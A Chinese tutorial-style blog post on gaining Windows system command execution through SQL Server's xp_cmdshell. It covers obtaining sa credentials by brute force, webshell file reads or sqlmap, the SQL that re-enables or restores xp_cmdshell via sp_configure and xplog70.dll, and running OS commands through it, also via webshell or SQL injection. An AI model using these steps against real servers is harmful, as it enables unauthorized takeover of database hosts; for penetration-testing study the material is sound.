Windows提权之Mssql(sql server)数据库提权(xp_cmdshell提权)

1.条件

  1. 具有sa用户的密码
  2. xm_cmdshell组件存在并开启

2.SA(mssql管理员默认账号)账号的获取

  1. 爆破获取账号密码(port:1433)
  2. 通过webshell读取网站配置文件或者数据库文件(sql server的数据库文件存储格式是mdf)。
    如web.config、config.asp、conn.asp、dbconfig.asp。
    可能得到的账号名称不是sa,但是具有系统权限。
    使用数据库软件连接数据库执行系统数据库的操作,若可以操作说明此账号具有sa权限。
    或者利用注入sqlmap --is-dba确认是否为dba权限。
    SQL server默认允许sa外链登陆,mysql root用户默认不允许外链登陆。

3.利用

3.1允许外联

  1. 直接利用sql工具外联开启xp_cmdshell。
    如下图,sql sever有一个自带的系统数据库master,而xp_cmdshell在 《存储过程》–>《扩展存储过程中》的脚本。
    在这里插入图片描述
    查看《扩展存储过程》,如果其中含有 sys.xp_cmdshell 说明目标网站没有删除该组件,只是默认把该组件禁止,如果没有看到该组件说明已删除xp_cmdshell,那么可以使用自带的xplog70.dll或者上传dll文件进行恢复。在这里插入图片描述
    xp_cmdshell在mssql2000中是开启的,在mssql2005及之后的版本中则默认禁止。
    如果用户拥有管理员sa权限则可以用sp_configure(默认值为0)重新开启它。
exec sp_configure 'show advanced options', 1;reconfigure;
-- 需将show ad advanced options置为1才能列出高级选项
exec sp_configure 'xp_cmdshell', 1;reconfigure;
-- 开启xp_cmdshell
  1. 使用xp_cmdshel执行命令的sql语句
    EXEC master.dbo.xp_cmdshell 'whoami'

3.2不允许外联

利用大马或者webshell管理工具登录mssql数据库,执行以下sql命令检查xp_cmdshell是否存在。也可以利用SQL注入。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

结果为1,则证明存在。当结果为0时,可以通过下列命令恢复

dbcc addextendedproc("xp_cmdshell","xplog70.dll");

如果xplog70.dll也删除了可以自己上传一个或者执行以下命令恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
此命令未验证,个人理解该路径应该为安装了mssql数据库的默认路径,如果使用的是PHP study类似软件而不是下载安装的可能无法使用。

使用xp_cmdshel执行命令

EXEC master.dbo.xp_cmdshell 'whoami'`

4.注意:

  1. 什么是“存储过程”:其实质就是一个“集合”就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。
    而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是《扩展存储过程中》的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。所以xp_cmdshell相当于mssql的cmd。
  2. xp_cmdshell的权限取决于数据库的运行权限,2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。
参考文献:

1
2
3

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值